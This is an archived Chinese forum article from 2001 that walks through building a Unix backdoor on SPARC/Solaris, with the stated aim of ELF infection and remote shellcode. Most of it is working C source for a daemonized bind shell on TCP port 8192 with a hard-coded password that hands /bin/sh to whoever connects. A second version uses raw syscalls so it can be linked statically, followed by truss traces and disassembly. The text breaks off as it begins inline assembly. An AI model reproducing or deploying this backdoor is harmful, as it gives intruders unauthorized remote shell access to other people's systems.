📄 382.html
字号:
<STYLE type=text/css>
<!--
body,td { font-size:9pt;}
hr { color: #000000; height: 1px}
-->
</STYLE>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<HTML>
<HEAD><TITLE>精选文章 >> solaris 专栏 >> SPARC/Solaris下的Unix后门初探</title>
</head>
<body >
<p><IMG SRC="../image/jsp001_middle_logo.gif" WIDTH="180" HEIGHT="60" BORDER=0 ALT=""></p>
<table width=100% bgcolor="#cccccc" align=center cellpadding="2" cellspacing="0" border=1 bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr bgcolor="#EFF8FF"><td>
<a href=http://www.jsp001.com/list_thread.php?int_attribute=2>精选文章</a>
>> <a href=http://www.jsp001.com/list_thread.php?forumid=39&int_attribute=2>solaris 专栏</a>
>> SPARC/Solaris下的Unix后门初探 [<a href=http://www.jsp001.com/forum/showthread.php?goto=newpost&threadid=382>查看别人的评论</a>]<br>
<hr><p>由 fei 发布于: 2001-02-12 14:57</p><p> </p><p>作者: 小丸子 <br><br>无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下<br>的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。<br><br>--------------------------------------------------------------------------<br>/* gcc -g -ggdb -o s s.c -lsocket */<br>#include <signal.h><br>#include <unistd.h><br>#include <sys/socket.h><br>#include <netinet/in.h><br><br>int s, c;<br>struct sockaddr_in serv_addr;<br>char * name[2];<br>char pass[9] = "xxxxxxxx";<br><br>int main ( int argc, char * argv[] )<br>{<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> setsid(); /* become session leader */<br> signal( SIGHUP, SIG_IGN );<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> serv_addr.sin_family = 2;<br> serv_addr.sin_addr.s_addr = 0;<br> serv_addr.sin_port = 0x2000; // 端口8192<br> // 创建TCP套接字,这里与Linux有区别<br> s = socket( 2, 2, 6 );<br> bind( s, ( struct sockaddr * )&serv_addr, 0x10 );<br> listen( s, 1 );<br> signal( SIGCHLD, SIG_IGN );<br> while ( 1 )<br> {<br> c = accept( s, 0, 0 );<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> close( s );<br> /* 用c进行通信,做一次弱验证保护 */<br> while ( strcmp( pass, "12345678" ) != 0 )<br> {<br> read( c, pass, 8 );<br> }<br> // 准备输入输出重定向,标准技术<br> dup2( c, 0 );<br> dup2( c, 1 );<br> dup2( c, 2 );<br> close( c ); /* 这里可以关闭c */<br> name[0] = "/bin/sh";<br> name[1] = 0;<br> execve( name[0], name, 0 );<br> exit( 0 ); /* 防止execve()失败 */<br> }<br> close( c ); /* 这里必须关闭c */<br> } /* end of while */<br> }<br> }<br> return( 0 ); /* 父进程 */<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>该程序只能编译成动态版本,如果指定-static,发现<br><br>[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket<br>未定义符号 在文件中<br>endnetconfig /usr/lib/libsocket.a(_soutil.o)<br>setnetconfig /usr/lib/libsocket.a(_soutil.o)<br>getnetconfig /usr/lib/libsocket.a(_soutil.o)<br>ld: 致命的: 符号参照错误. 没有输出被写入s<br>[scz@ /space/staff/scz/src]> <br><br>我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝<br>/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后<br>链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部<br>符号无着落的问题。<br><br>大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在<br>浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用<br>truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:<br><br>setsid() = 2260<br>sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0<br>so_socket(2, 2, 6, "", 1) = 3<br>bind(3, 0x00021E60, 16) = 0<br>listen(3, 1) = 0<br>sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0<br>accept(3, 0x00000000, 0x00000000) (sleeping...)<br><br>这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到<br>静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对<br>底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可<br>以抛弃-lsocket链接开关了,这只猪害人不浅。<br><br>关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我<br>们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:<br><br>setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )<br><br>显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接<br>利用syscall完成。<br><br>--------------------------------------------------------------------------<br>// gcc -g -ggdb -static -o s s.c<br>// 使用syscall之后,可以抛弃-lsocket链接开关<br>// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关<br>// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈<br><br>#include <signal.h><br>#include <unistd.h><br>#include <sys/socket.h><br>#include <netinet/in.h><br>#include <sys/syscall.h><br>#include <fcntl.h><br><br>int s, c;<br>struct sockaddr_in serv_addr;<br>char * name[2];<br>char pass[9] = "xxxxxxxx";<br><br>int main ( int argc, char * argv[] )<br>{<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> // setsid(); /* become session leader */<br> // SYS_pgrpsys<br> syscall( 39, 3 );<br> // signal( SIGHUP, SIG_IGN );<br> // SYS_signal<br> syscall( 48, 1, 1 );<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> serv_addr.sin_family = 2;<br> serv_addr.sin_addr.s_addr = 0;<br> // 使用big endian序<br> serv_addr.sin_port = 0x2000; // 端口8192<br> // 创建TCP套接字,这里与Linux有区别<br> // s = socket( 2, 2, 6 );<br> // SYS_so_socket<br> s = syscall( 230, 2, 2, 6 );<br> // bind( s, ( struct sockaddr * )&serv_addr, 0x10 );<br> // SYS_bind<br> syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );<br> // listen( s, 1 );<br> // SYS_listen<br> syscall( 233, s, 1 );<br> // signal( SIGCHLD, SIG_IGN );<br> syscall( 48, 18, 1 );<br> while ( 1 )<br> {<br> // c = accept( s, 0, 0 );<br> // SYS_accept<br> c = syscall( 234, s, 0, 0 );<br> if ( fork() == 0 ) /* 子进程 */<br> {<br> // close( s );<br> // SYS_close<br> syscall( 6, s );<br> /* 用c进行通信,做一次弱验证保护 */<br> while ( strcmp( pass, "12345678" ) != 0 )<br> {<br> // read( c, pass, 8 );<br> // SYS_read<br> syscall( 3, c, pass, 8 );<br> }<br> // 准备输入输出重定向,标准技术<br> // dup2( c, 0 );<br> // dup2( c, 1 );<br> // dup2( c, 2 );<br> // SPARC/Solaris没有单独实现dup2,而是用fcntl实现<br> // 有点其他问题,请参看APUE,天晓得发生了什么<br> // syscall( SYS_fcntl, c, F_DUP2FD, 0 );<br> syscall( 62, c, 9, 0 );<br> syscall( 62, c, 9, 1 );<br> syscall( 62, c, 9, 2 );<br> // close( c ); /* 这里可以关闭c */<br> syscall( 6, c );<br> name[0] = "/bin/sh";<br> name[1] = 0;<br> execve( name[0], name, 0 );<br> // exit( 0 ); /* 防止execve()失败 */<br> // SYS_exit<br> syscall( 1, 0 );<br> }<br> // close( c ); /* 这里必须关闭c */<br> syscall( 6, c );<br> } /* end of while */<br> }<br> }<br> return( 0 ); /* 父进程 */<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本<br>上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不<br>同了。<br><br>--------------------------------------------------------------------------<br>0x101c0 <main+12> : call 0x1267c <fork><br>0x101c4 <main+16> : nop <br>0x101c8 <main+20> : cmp %o0, 0<br>0x101cc <main+24> : bne 0x10434 <main+640><br>0x101d0 <main+28> : nop <br><br>0x131c4 <_libc_fork> : mov 2, %g1 ! 0x2<br>0x131c8 <_libc_fork+4> : ta 8<br>0x131cc <_libc_fork+8> : bcc 0x131e0 <_libc_fork+28><br>0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5<br>0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror><br>0x131d8 <_libc_fork+20>: jmp %o5<br>0x131dc <_libc_fork+24>: nop <br>0x131e0 <_libc_fork+28>: tst %o1<br>0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40><br>0x131e8 <_libc_fork+36>: mov %g0, %o0<br>0x131ec <_libc_fork+40>: retl <br>0x131f0 <_libc_fork+44>: nop <br>--------------------------------------------------------------------------<br><br>综合判断后提炼如下:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> mov 2, %g1<br> ta 8<br> tst %o1 ! %o1不为0表示是子进程<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -